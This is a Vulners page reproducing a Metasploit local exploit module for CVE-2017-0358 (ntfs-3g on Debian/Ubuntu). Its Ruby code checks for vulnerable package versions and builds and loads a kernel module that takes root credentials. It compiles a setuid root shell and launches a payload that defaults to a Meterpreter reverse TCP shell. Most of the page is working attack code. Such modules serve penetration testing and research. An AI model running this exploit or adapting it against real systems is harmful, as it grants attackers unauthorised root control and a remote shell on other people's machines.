Lucene search
K

Debian/Ubuntu ntfs-3g Local Privilege Escalation

🗓️ 26 Feb 2017 04:09:22Reported by jannh <[email protected]>, h00die <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 48 Views

Debian/Ubuntu ntfs-3g Local Privilege Escalatio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation',
        'Description'   => %q{
          ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe.
          This can be abused to load a kernel module and execute a binary payload as the root user.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
          [
            '[email protected]',                    # discovery
            'h00die <[email protected]>' # metasploit module
          ],
        'Platform'      => [ 'linux' ],
        'Arch'          => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'References'    =>
          [
            [ 'CVE', '2017-0358' ],
            [ 'EDB', '41356' ],
            [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ]
          ],
        'Targets'       =>
          [
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
            [ 'Linux x64',       { 'Arch' => ARCH_X64 } ]
          ],
        'DefaultOptions' =>
          {
            'payload' => 'linux/x64/meterpreter/reverse_tcp',
            'PrependFork' => true,
            },
        'DefaultTarget' => 1,
        'DisclosureDate' => '2017-01-05',
        'Privileged'     => true
      }
      ))
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def check

    # check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work.
    def headers_installed?()
      output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')
      if output
        if output.include?('linux-headers')
          return true
        else
          print_error('Linux kernel headers not available, compiling will fail.')
          return false
        end
      end
      false
    end

    output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'')
    if output
      if output.include?('1:2015.3.14AR.1-1build1') #Ubuntu 16.04 LTS
        print_good('Vulnerable Ubuntu 16.04 detected')
        CheckCode::Appears
      elsif output.include?('1:2016.2.22AR.1-3') #Ubuntu 16.10
        print_good('Vulnerable Ubuntu 16.10 detected')
        CheckCode::Appears
      elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') #Debian Wheezy, we also need linux-source installed
        print_good('Vulnerable Debian 7 (wheezy) detected')
        if headers_installed?()
          CheckCode::Appears
        else
          CheckCode::Safe
        end
        CheckCode::Appears
      elsif output.include?('1:2014.2.15AR.2-1+deb8u2') #Debian Jessie, we also need linux-source installed
        print_good('Vulnerable Debian 8 (jessie) detected')
        if headers_installed?()
          CheckCode::Appears
        else
          CheckCode::Safe
        end
        CheckCode::Appears
      else
        print_error("Version installed not vulnerable: #{output}")
        CheckCode::Safe
      end
    else
      print_error('ntfs-3g not installed')
      CheckCode::Safe
    end
  end

  def exploit
    def upload_and_compile(filename, file_path, file_content, compile=nil)
      rm_f "#{file_path}"
      if not compile.nil?
        rm_f "#{file_path}.c"
        vprint_status("Writing #{filename} to #{file_path}.c")
        write_file("#{file_path}.c", file_content)
        register_file_for_cleanup("#{file_path}.c")
        output = cmd_exec(compile)
        if output != ''
          print_error(output)
          fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
        end
      else
        vprint_status("Writing #{filename} to #{file_path}")
        write_file(file_path, file_content)
      end
      cmd_exec("chmod +x #{file_path}");
      register_file_for_cleanup(file_path)
    end

    # These are direct copies of the modules from EDB
    rootmod = %q{
      #include <linux/module.h>
      #include <linux/kernel.h>
      #include <linux/cred.h>
      #include <linux/syscalls.h>
      #include <linux/kallsyms.h>

      static int suidfile_fd = -1;
      module_param(suidfile_fd, int, 0);

      static int __init init_rootmod(void) {
        int (*sys_fchown_)(int fd, int uid, int gid);
        int (*sys_fchmod_)(int fd, int mode);
        const struct cred *kcred, *oldcred;

        sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown");
        sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod");

        printk(KERN_INFO "rootmod loading\n");
        kcred = prepare_kernel_cred(NULL);
        oldcred = override_creds(kcred);
        sys_fchown_(suidfile_fd, 0, 0);
        sys_fchmod_(suidfile_fd, 06755);
        revert_creds(oldcred);
        return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */
      }

      static void __exit cleanup_rootmod(void) {}

      module_init(init_rootmod);
      module_exit(cleanup_rootmod);

      MODULE_LICENSE("GPL v2");
    }

    rootshell = %q{
      #include <unistd.h>
      #include <err.h>
      #include <stdio.h>
      #include <sys/types.h>

      int main(void) {
        if (setuid(0) || setgid(0))
          err(1, "setuid/setgid");
        fputs("we have root privs now...\n", stderr);
        execl("/bin/bash", "bash", NULL);
        err(1, "execl");
      }
    }

    # we moved sploit.c off since it was so big to the external sources folder
    path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c')
    fd = ::File.open( path, "rb")
    sploit = fd.read(fd.stat.size)
    fd.close

    rootmod_filename = 'rootmod'
    rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"
    rootshell_filename = 'rootshell'
    rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}"
    sploit_filename = 'sploit'
    sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"
    payload_filename = rand_text_alpha(8)
    payload_path = "#{datastore['WritableDir']}/#{payload_filename}"

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def has_prereqs?()
      def check_gcc?()
        gcc = cmd_exec('which gcc')
        if gcc.include?('gcc')
          vprint_good('gcc is installed')
          return true
        else
          print_error('gcc is not installed.  Compiling will fail.')
          return false
        end
      end

      def check_make?()
        make = cmd_exec('which make')
        if make.include?('make')
          vprint_good('make is installed')
          return true
        else
          print_error('make is not installed.  Compiling will fail.')
          return false
        end
      end

      return check_make?() && check_gcc?()
    end

    if has_prereqs?()
      vprint_status('Live compiling exploit on system')
    else
      fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')
    end

    # make our substitutions so things are dynamic
    rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
               "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
    print_status('Writing files to target')
    cmd_exec("cd #{datastore['WritableDir']}")

    #write all the files and compile.  This is equivalent to the original compile.sh
    #gcc -o rootshell rootshell.c -Wall
    upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall")
    #gcc -o sploit sploit.c -Wall -std=gnu99
    upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99")
    #make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
    upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil)
    upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil)
    cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules')
    upload_and_compile('payload', payload_path, generate_payload_exe)

    #This is equivalent to the 2nd half of the compile.sh file
    cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)')
    cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/')
    cmd_exec('/sbin/depmod -b depmod_tmp/')
    cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .')
    cmd_exec('rm -rf depmod_tmp')

    register_file_for_cleanup("#{rootmod_path}.ko")
    register_file_for_cleanup("#{rootmod_path}.mod.c")
    register_file_for_cleanup("#{rootmod_path}.mod.o")
    register_file_for_cleanup("#{rootmod_path}.o")

    # and here we go!
    print_status('Starting execution of priv esc.')
    output = cmd_exec(sploit_path)
    unless session_created?
      # this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened,
      # but binary payload was caught, or NIPS shut down the callback etc.
      vprint_error(output)
    end
  end

  def on_new_session(session)
    # if we don't /bin/bash here, our payload times out
    # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
    # [*] 192.168.199.130 - Meterpreter session 2 closed.  Reason: Died
    session.shell_command_token('/bin/bash')
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 27.2
CVSS 37.8
EPSS0.02277
48